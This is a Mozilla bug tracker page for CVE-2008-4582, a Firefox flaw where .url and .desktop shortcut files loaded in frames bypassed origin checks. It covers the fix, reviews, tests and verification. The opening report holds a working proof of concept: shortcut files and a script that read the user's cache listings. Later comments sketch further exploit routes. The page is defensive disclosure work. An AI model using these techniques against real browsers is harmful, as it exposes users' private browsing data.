Bug 455311 (CVE-2008-4582)

[FIX]mid-autumn festival vulnerability

RESOLVED FIXED

Status

()

Core
Networking: File
P1
normal
RESOLVED FIXED
9 years ago
4 years ago

People

(Reporter: Window Snyder, Assigned: bz)

Tracking

(4 keywords)

Trunk
x86
Windows XP
fixed1.9.1, pp, verified1.8.1.18, verified1.9.0.4
Points:
---
Dependency tree / graph
Bug Flags:
blocking1.9.1 +
blocking1.9.0.4 +
blocking1.8.1.18 +
wanted1.8.1.x +
in-testsuite +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:moderate])

Attachments

(10 attachments, 5 obsolete attachments)

985 bytes, application/zip
Details
20.51 KB, patch
Details | Diff | Splinter Review
149 bytes, text/plain
Details
97 bytes, text/html
Details
10.74 KB, patch
Biesinger
: review+
Biesinger
: superreview+
Details | Diff | Splinter Review
13.12 KB, patch
Biesinger
: review+
Biesinger
: superreview+
Details | Diff | Splinter Review
982 bytes, patch
Biesinger
: review+
Biesinger
: superreview+
Details | Diff | Splinter Review
2.91 KB, patch
dveditz
: review+
Samuel Sidler (old account; do not CC)
: approval1.8.1.18+
Details | Diff | Splinter Review
9.97 KB, patch
Details | Diff | Splinter Review
527 bytes, patch
Details | Diff | Splinter Review
(Reporter)

Description

9 years ago
Lui Dieyu in email reports:

For Firefox, location is wrong when dot URL shortcut is launched by HTML elements. Slightly variant from CVE-2008-2810 which is about command line and only fixed in that perspective. Contents at any location can be read by taking advantage of this error - cache information, cookie information, web, local file system, etc.

Here is proof of concept showing all cached images. Web page is required to be opened in local path or Windows share(UNC/SMB) path. Reproduced on Firefox 3.0.1 running on Windows XP SP3, US English.

-----testurl1.url-----
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----testurl2.url-----
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----test.html-----
<script>
function a()
{
s="";
h="";
for(i=0;i<window.frames.length;i++)
{
    d=window.frames[i].document;
    for(j=0;j<d.links.length;j++)
    {
        u=d.links[j].text
        s+=u+"\n";
        h+="<img src=\""+u+"\">";
    }
}
document.getElementById("t").value=s;
document.getElementById("x").innerHTML=h;
}
</script>
<a href="javascript:a();">Start Test</a><br>
<a href="javascript:window.location=location.href">Load This Page Again</a><br>
<br>
<br>
<b>List of files that you recently fetched from the internet:</b><br>
<textarea rows="10" cols="100" id=t wrap=off></textarea>
<br>
<br>
<b>List of images that you recently viewed on the internet:</b><br>
<div id=x></div>
<br>
<br>
<iframe width=300 height=200 src="testurl1.url"></iframe>
<iframe width=300 height=200 src="testurl2.url"></iframe>
Created attachment 338637 [details]
zipped testcase based on code in comment 0

Comment 2

9 years ago
CCing some people from bug 410156 (CVE-2008-2810).
(In reply to comment #0)
> Lui Dieyu in email reports:
> 
> For Firefox, location is wrong when dot URL shortcut is launched by HTML
> elements. Slightly variant from CVE-2008-2810 which is about command line and
> only fixed in that perspective.
I don't believe this is related to bug 410156 anymore than two url vulnerabilities are related just because they use urls.

Having said that I suspect content might need to prevent opening .url, .desktop, and .webloc files when specified as an iframe src attribute.
Do we need to prevent loading them? Can we treat them as redirects (fully, including calling CheckLoadURI and updating the origin)? If not could we open them as plain-text files and let the user do what they want with the internal link?

This is not a remote exploit, not even a local exploit from an email attachment opened in the browser because it requires two separate files. But worst-case if you got a user to download and unpack a zip file containing the two pieces, or maybe even save a web page "Complete" you could use this to bypass CheckLoadURI() and get access to another site's data or load a chrome: URI. I don't think we currently have any chrome that could take parameters but we've had one in the recent past (bug 441169) and who knows whether any addons do.

I'm assigning "moderate" based on the apparent hoops a user would have to go through, but it could be higher if those turn out not to be much of a speed bump.
Flags: wanted1.8.1.x+
Flags: blocking1.9.0.3+
Flags: blocking1.8.1.18?
Flags: blocking-firefox3.1?
Whiteboard: [sg:moderate]
Yeah, I think we just need to treat them like redirects, as Dan suggests.  Need component triage and an owner, very much wanted today.
note: cookies _are_ sent for web sites and the resulting frames are same-origin with the victim site as demonstrated with the about:cache testcase. Some juicy sites have frame-busting code (gmail, yahoo) so they don't work as victims, but lots will (e.g. bugzilla works fine as a snooping target).

Also can't rule out the possibility of combining this with a file-dropping problem in another app, such as the safari/chrome carpet-bombing problem.

confirmed the problem in 2.x (as expected).
Flags: blocking1.8.1.18? → blocking1.8.1.18+
The issue is basically that nsFileProtocolHandler::NewChannel returns a channel based on the .url file without doing the normal security checks.  We should either do those there, or better yet return the file channel and then in AsyncOpen handle the redirect.
Component: General → Networking: File
Flags: blocking-firefox3.1?
Product: Firefox → Core
QA Contact: general → networking.file
Version: 3.0 Branch → Trunk
Flags: blocking1.9.1?
Created attachment 340056 [details] [diff] [review]
Patch for trunk and 1.9 branch

Let's see what biesi thinks of this... the 1.8 patch will need to be pretty much completely different, since we have neither the new event stuff nor nsBaseChannel there, but more or less along these lines.
Attachment #340056 - Flags: superreview?(cbiesinger)
Attachment #340056 - Flags: review?(cbiesinger)
Created attachment 340057 [details] [diff] [review]
Er, without the makefile cruft
Attachment #340056 - Attachment is obsolete: true
Attachment #340057 - Flags: superreview?(cbiesinger)
Attachment #340057 - Flags: review?(cbiesinger)
Attachment #340056 - Flags: superreview?(cbiesinger)
Attachment #340056 - Flags: review?(cbiesinger)
Thanks for such an amazing turnaround, Boris!
Assignee: nobody → bzbarsky
Summary: mid-autumn festival vulnerability → [FIX]mid-autumn festival vulnerability
Comment on attachment 340057 [details] [diff] [review]
Er, without the makefile cruft

Very nice! Thanks for doing this.

+nsInputStreamChannel::OpenContentStream(PRBool async, nsIInputStream **result,
+                                        nsIChannel** channel)
 {
   NS_ENSURE_TRUE(mContentStream, NS_ERROR_NOT_INITIALIZED);
+
+  *channel = nsnull;

I think you should just document that the callees don't have to set this to null and do it in the caller instead, to simplify the implementations.
Attachment #340057 - Flags: superreview?(cbiesinger)
Attachment #340057 - Flags: superreview+
Attachment #340057 - Flags: review?(cbiesinger)
Attachment #340057 - Flags: review+
Created attachment 340988 [details] [diff] [review]
Updated to comments

We should take this one on branch.  I guess I'll work on a 1.8 fix.

Also, if anyone has an idea of how to write an automated test for this I'm all ears.
Attachment #340057 - Attachment is obsolete: true
Attachment #340988 - Flags: approval1.9.0.4?
Pushed changeset 6357eb31cec6.
Status: NEW → RESOLVED
Last Resolved: 9 years ago
Resolution: --- → FIXED
This was apparently posted on the reporter's blog on 2008-09-27
http://liudieyu0.blog124.fc2.com/blog-entry-6.html
(In reply to comment #12)
> Also, if anyone has an idea of how to write an automated test for this I'm all
> ears.

Check in a .url file, create a channel for it, set its notificationCallbacks and make sure that you got the redirect notification? and also check that the channel's URI/originalURI is the one that it got created for?
Hmm.  I'd need to somehow only run that on Windows, right?
That's true, but you can check that in run_test and just return if (!windows).
Blocks: 361857
Attachment #340988 - Flags: approval1.9.0.4? → approval1.9.0.4+
Comment on attachment 340988 [details] [diff] [review]
Updated to comments

Approved for 1.9.0.4, a=dveditz
The reporter would like to be credited as "Liu Die Yu of TopsecTianRongXin"
Fixed on 1.9.0 branch.
Keywords: fixed1.9.0.4
From Georgi on irc:
A slight modification of the bugtraq bug affect on linux and it is fixed in latest -central and -latest 1.9.0 .

(btw, can I (or someone else) CC Georgi on this bug?)
Sounds like we need a separate bug for the Linux thing if we don't have one already....  And yeah, it's probably ok to cc Georgi.
Created attachment 342974 [details] [diff] [review]
1.8 branch patch

Sadly, I can't actually compile branch on Windows.  So while I've compiled this on Mac, it's untested.  I'll make sure to test nightlies after landing this on branch if I can't find someone else to compile+test on Windows beforehand...
Attachment #342974 - Flags: review?(cbiesinger)
Attachment #342974 - Flags: approval1.8.1.18?
a slight modification of the bugtraq testcase works on linux 3.0.3 so this is not windoze only. according to my tests it is fixed in latest 1.9.0 and -central.

the trick is using file.desktop, containing a link to local file or cache, bypassing same dir restrictions. tested on xubuntu 8.0.4 with xfce4.

testcase soon.
Created attachment 343006 [details]
a.desktop - save locally
Created attachment 343007 [details]
a.html - save locally in dir of a.desktop and open
probably an exploit vector is "save web page complete" using <img src="a.desktop">
Attachment #343006 - Attachment mime type: application/octet-stream → text/plain
It might be a good thing to also protect against .webloc files for Mac as well (see comment #3) though I'm not sure if .webloc files are as of yet handled in the same way as .desktop and .url files.
.webloc doesn't seem to work on macosx - the testcases display XML and don't load the URI
let me know if the linux testcases need a new bug - i didn't file one because they are fixed in -latest
Thanks for checking that georgi. I recall seeing a bug for opening .webloc files on Mac but it may just be bug 442930 that I am thinking of.
>Thanks for checking that georgi. I recall seeing a bug for opening .webloc
>files on Mac but it may just be bug 442930 that I am thinking of.

to clarify - opening .webloc from Finder on macosx works for me. it is the modifications of the exploits that don't work, they display XML when using .webloc in iframe/object
Keywords: pp
platform parity => linux + win
strange things is, a.desktop can open "about:cache" while file:///a.html can't open it - throws sec error. looks like .desktop bypasses some restrictions.

currently don't have luck with screwing "about:config"
not sure if this is moderate.

a.desktop can load "chrome://browser/content/browser.xul" and this gives full functioning browser as a child of a.html. 

contentDocument.firstChild throws sec exc, though bz was somewhat paranoid about the effectiveness of firstChild throwing in another svg bug...
Comment on attachment 342974 [details] [diff] [review]
1.8 branch patch

+nsFileChannel::RedirectRunnable::Handle(PLEvent* aEvent)

shouldn't you check that the channel hasn't been cancelled in the meantime? (here or in HandleRedirect)

+++ netwerk/protocol/file/src/nsFileChannel.h	14 Oct 2008 01:00:12 -0000
+        RedirectRunnable(nsFileChannel* originalChannel,
+                         nsIChannel* newChannel) :

is there a specific reason why you made the ctor and dtor inline, but the rest not?
Attachment #342974 - Flags: review?(cbiesinger) → review+
Comment 24 through comment 35 have nothing to do with this bug, since the codepath being changed is in fact windows-only.  I have no idea where .desktop files are handled, but it's not in the file:// networking code.

So yes, a separate bug for that issue is needed.

> shouldn't you check that the channel hasn't been cancelled in the meantime?

Good point.  Will add.

> is there a specific reason why you made the ctor and dtor inline, but the rest
> not?

The static methods you mean?  I'd really rather not inline those.  I can out-of-line the ctor and dtor if you want.  Please let me know?

Also, I assume you want an updated patch with the cancelation-checking?
Whiteboard: [sg:moderate] → [sg:moderate], QA: ignore comments 24-35
(In reply to comment #37)
> The static methods you mean?  I'd really rather not inline those.  I can
> out-of-line the ctor and dtor if you want.  Please let me know?

Yeah, I prefer out-of-line.

> Also, I assume you want an updated patch with the cancelation-checking?

That'd be great.
Er, scratch that.  It looks like at least on trunk the Linux codepath is somewhat similar to the Windows one.  It just doesn't work on Mac.  I'll try to compile/test the 1.8 patch on Linux, then.
Whiteboard: [sg:moderate], QA: ignore comments 24-35 → [sg:moderate]
so file a new bug or not?
No need for a new bug.
Created attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests
Attachment #343103 - Flags: superreview?(cbiesinger)
Attachment #343103 - Flags: review?(cbiesinger)
Comment on attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests

I meant "to handle cancel", of course.
Attachment #343103 - Attachment description: Trunk + 1.9.0.x patch to handle redirects, plus unit tests → Trunk + 1.9.0.x patch to handle cancel, plus unit tests
Created attachment 343104 [details] [diff] [review]
Roll-up 1.8 branch patch (tested on Linux and all)
Attachment #343104 - Flags: superreview?(cbiesinger)
Attachment #343104 - Flags: review?(cbiesinger)
Attachment #343104 - Flags: approval1.8.1.18?
Comment on attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests

would it make sense in test_bug455311 to test that onStartR/onStopR get called only once? maybe not necessary since that can't happen in the current impl.

+RequestObserver.prototype = {
+ QueryInterface: function(iid)

shouldn't that be indented two spaces?
Attachment #343103 - Flags: superreview?(cbiesinger)
Attachment #343103 - Flags: superreview+
Attachment #343103 - Flags: review?(cbiesinger)
Attachment #343103 - Flags: review+
Comment on attachment 343104 [details] [diff] [review]
Roll-up 1.8 branch patch (tested on Linux and all)

looking at branch's nsFileChannel::Cancel, won't this:
+        Cancel(NS_BINDING_REDIRECTED);
cause a warning to be displayed, in debug builds? I guess the NS_ENSURE_SUCCESS in Cancel() should just be an if/return

(hm, and IsPending incorrectly returns false between AsyncOpen and the processing of the event. hopefully nothing relies on that being correct)
Attachment #343104 - Flags: superreview?(cbiesinger)
Attachment #343104 - Flags: superreview+
Attachment #343104 - Flags: review?(cbiesinger)
Attachment #343104 - Flags: review+
Er, IsPending needs to work correctly for bfcache to work right.  Gah.  I'll try to fix that tomorrow, as well as the branch Cancel() behavior (same fix, basically).
does firefox parse .desktop or some external library parses it?
We parse it.
Created attachment 343307 [details] [diff] [review]
trunk+1.9.0 patch to make isPending() sane

This sets pending to false before onStartRequest on errors, but I think that's ok...
Attachment #343103 - Attachment is obsolete: true
Created attachment 343311 [details] [diff] [review]
Branch patch with Cancel() fixed and isPending sane
Attachment #343104 - Attachment is obsolete: true
Attachment #343311 - Flags: superreview?(cbiesinger)
Attachment #343311 - Flags: review?(cbiesinger)
Attachment #343311 - Flags: approval1.8.1.18?
Attachment #343104 - Flags: approval1.8.1.18?
Attachment #343307 - Flags: superreview?(cbiesinger)
Attachment #343307 - Flags: review?(cbiesinger)
Attachment #343307 - Flags: approval1.9.0.4?
Keywords: fixed1.9.0.4
didn't have luck making this work remotely from the web - probably this scenario should be investigated
Attachment #342974 - Attachment is obsolete: true
Attachment #342974 - Flags: approval1.8.1.18?
Comment on attachment 342974 [details] [diff] [review]
1.8 branch patch

Looks like attachment 343311 [details] [diff] [review] obsoletes this patch, unlike the trunk patch which is incremental. If I'm wrong please re-request approval.
Er, yes.  Indeed.
with the help of Bug 369462 this is remote with little user interaction ("open with firefox")

the http header is:
Content-Disposition: attachment;filename=v1.desktop

the result is "v1.desktop" in /tmp and "about:plugins" is opened in firefox
remote content opening privileged uris is Bug 460425
Duplicate of this bug: 460425
>*** Bug 460425 has been marked as a duplicate of this bug. ***

am i missing something?
the testcases for *this* bug doesn't work in latest -central and 1.9.0 and this bug is marked as fixed.

loading "about:plugins" as described in Bug 460425 works on today's latest builds.
Hmm.  I'll reopen bug 460425.  Something odd is happening here, indeed.
Whiteboard: [sg:moderate] → [sg:moderate] needs r=biesi
Attachment #343311 - Flags: superreview?(cbiesinger)
Attachment #343311 - Flags: superreview+
Attachment #343311 - Flags: review?(cbiesinger)
Attachment #343311 - Flags: review+
Attachment #343307 - Flags: superreview?(cbiesinger)
Attachment #343307 - Flags: superreview+
Attachment #343307 - Flags: review?(cbiesinger)
Attachment #343307 - Flags: review+
Pushed changeset 3d9dc5947479 to fix the IsPending/Cancel behavior on trunk.
Also pushed changeset a4aa59392b79 to fix Mac test bustage; will want to remember that for 1.9.0 branch.
Whiteboard: [sg:moderate] needs r=biesi → [sg:moderate]
Comment on attachment 343307 [details] [diff] [review]
trunk+1.9.0 patch to make isPending() sane

Approved for 1.9.0.4, a=dveditz for release-drivers
Attachment #343307 - Flags: approval1.9.0.4? → approval1.9.0.4+
Attachment #343311 - Flags: approval1.8.1.18? → approval1.8.1.18+
Comment on attachment 343311 [details] [diff] [review]
Branch patch with Cancel() fixed and isPending sane

Approved for 1.8.1.18, a=dveditz for release-drivers
Created attachment 344408 [details] [diff] [review]
Additional patch to handle the case when redirection succeeds correctly

We were crashing on successful redirect otherwise, since mStatus was a failure (NS_BINDING_REDIRECTED) after a successful redirect, and we tried to notify a null mListener.  I've pushed this as changeset 74eac4513663 pending review to keep the crashes at bay.
Attachment #344408 - Flags: superreview?(cbiesinger)
Attachment #344408 - Flags: review?(cbiesinger)
The 1.8 branch patch doesn't need equivalent changes, because we're doing our own canceling there, and we only do it when we don't notify.

Fixed on both branches, with all patches landed.
Keywords: fixed1.8.1.18, fixed1.9.0.4
Attachment #344408 - Flags: superreview?(cbiesinger)
Attachment #344408 - Flags: superreview+
Attachment #344408 - Flags: review?(cbiesinger)
Attachment #344408 - Flags: review+
Attachment #343006 - Attachment is private: true
Attachment #343007 - Attachment is private: true
Verified for 1.9.04 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4pre) Gecko/2008102706 GranParadiso/3.0.4pre.

I looked to verify this for 1.8.1.18 but I notice that the iframes displaying Memory and Disk cache both still render the contents. This is not the case for 1.9.0.4. Is this expected?
Keywords: fixed1.9.0.4 → verified1.9.0.4
Created attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

Needed because secman doesn't actually observe redirects there...
Attachment #345220 - Flags: review?(dveditz)
(In reply to comment #66)
> I looked to verify this for 1.8.1.18 but I notice that the iframes displaying
> Memory and Disk cache both still render the contents.

But the test page can no longer read from those frames, so the worst aspect of this has been fixed. The remaining bit is a CheckLoadURI violation,  allowing web content to load about: or chrome: links we wouldn't normally allow -- IF the victim downloads a .url file. If we already had candidate builds I don't know I'd respin for it, but since we don't it's worth getting this fix in for it.
Comment on attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

r=dveditz

tested, this works.
Attachment #345220 - Flags: review?(dveditz) → review+
Attachment #345220 - Flags: approval1.8.1.18?
Comment on attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

Approved for 1.8.1.18. a=ss for release-drivers.
Attachment #345220 - Flags: approval1.8.1.18? → approval1.8.1.18+
Checked that patch in on the branch.
So comment 66 and the additional 1.8 patch raises an interesting point that there are really two bugs here, and the fix for one masks the other in the original testcase. The original testcase uses about: urls that a web page (or file: uri) normally cannot open, and part of this fix makes sure we call CheckLoadURI and block those loads.

But because those loads are blocked it's no longer a test of the more important fix of making sure the attack page is not same-origin with the redirected content.

I recommend altering the testcase in the following way:

1) Change the second .url file to point at some website, such as http://www.mozilla.com, instead of about:cache.

2) The for loop doesn't need to enumerate links to prove badness, we just need to test for access. Therefore it could be something like
   for(i=0;i<window.frames.length;i++)
   {
     try {
       alert(frames[i].document.location);
     } catch (e) {
       alert(e);
     }
   }

Pre-fix I would expect both alerts to show file: uris. In the current 1.8 state both should be security errors. With the correct fix the first alert should be "about:blank" (nothing got loaded due to the CheckLoadURI) and the second should alert the security error.

On 1.8 the error will be "Permission denied to get property HTMLDocument.location" while on 1.9 it will be "Permission denied to get property Window.document". This difference is due to the Cross-origin Wrappers (XOW) added in 1.9 and is expected.
>I recommend altering the testcase in the following way:

imo the testcase should not need chrome privileges and should just try to steal a file instead of testing the correctness of the patch. linux or windows probably can be distinguieshed via |navigator.platform|
>allowing web content to load about: or chrome: links we wouldn't normally allow 

potential exploit scenario is if chrome document trusts input from location.href or document.url. could find exploit in the standard codebase, trying to find addons.

this looks somewhat suspicious:
venkman/resources/content/view-manager.js:210:    var win = openDialog ("chrome://venkman/content/venkman-floater.xul?id=" +
venkman/resources/content/view-manager.js-211-                          encodeURIComponent(windowId), "_blank",
oops, missing inversion.

i meant could NOT find exploit in standard codebase.
Reverified for 1.8.1.18 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18pre) Gecko/2008102903 BonEcho/2.0.0.18pre.
Keywords: fixed1.8.1.18 → verified1.8.1.18
Alias: CVE-2008-4582
CC'ing original reporter

Comment 78

9 years ago
linux seems not to be affected on 1.8 branches.

Comment 79

9 years ago
Created attachment 346660 [details] [diff] [review]
1.8.0 branch patch.

patch for 1.8.0 branch, for the case anybody need it.

Comment 80

9 years ago
Created attachment 346661 [details] [diff] [review]
significant diff between 1.8 and 1.8.0

There's only one change between 1.8 and 1.8.0 - 1.8.0 doesn't have OnChannelRedirect implemented in nsIOService so this check is removed.

Updated

9 years ago
Attachment #346660 - Flags: review?(cbiesinger)
Yeah, on 1.8 branch we didn't support .desktop files at all, as I recall.
Group: core-security

Comment 82

9 years ago
Marking in-testsuite+ because the patch contained a test:

http://mxr.mozilla.org/mozilla-central/source/netwerk/test/unit/test_bug455311.js
Flags: in-testsuite+
Flags: blocking1.9.1? → blocking1.9.1+
Keywords: fixed1.9.1
Priority: -- → P1
Attachment #343006 - Attachment is private: false
Attachment #343007 - Attachment is private: false
Blocks: 480907
Attachment #346660 - Flags: review?(cbiesinger)
Hello,

This test fails on my machine with no patches applied, just vanilla m-c.

This is the log: http://pastebin.mozilla.org/2624886


I'm on linux x64 3.10.
Mihnea, I tried the bug files on today's m-c using Linux and Mac - no issues.

Your pastebin link is empty (expired?).

I don't see an issue here, but if you do, please post more info. Thanks.
(In reply to Matt Wobensmith from comment #84)
> Mihnea, I tried the bug files on today's m-c using Linux and Mac - no issues.
> 
> Your pastebin link is empty (expired?).
> 
> I don't see an issue here, but if you do, please post more info. Thanks.

Must be something about my linux setup. I'll rerun it when I get back to the linux box and post a new pastebin. Thanks!
There you go - http://pastebin.mozilla.org/2924937
Flags: needinfo?(mwobensmith)
Thanks Mihnea. What happens when you run the bug files attached to this bug? I'd like to find out if the vulnerability is still there, or if the test is unreliable.
Flags: needinfo?(mwobensmith)
There seems to be no sign of the vulnerability. Test passes fine on my other (OS X) laptop. Must be something with my linux laptop's config.
You need to log in before you can comment on or make changes to this bug.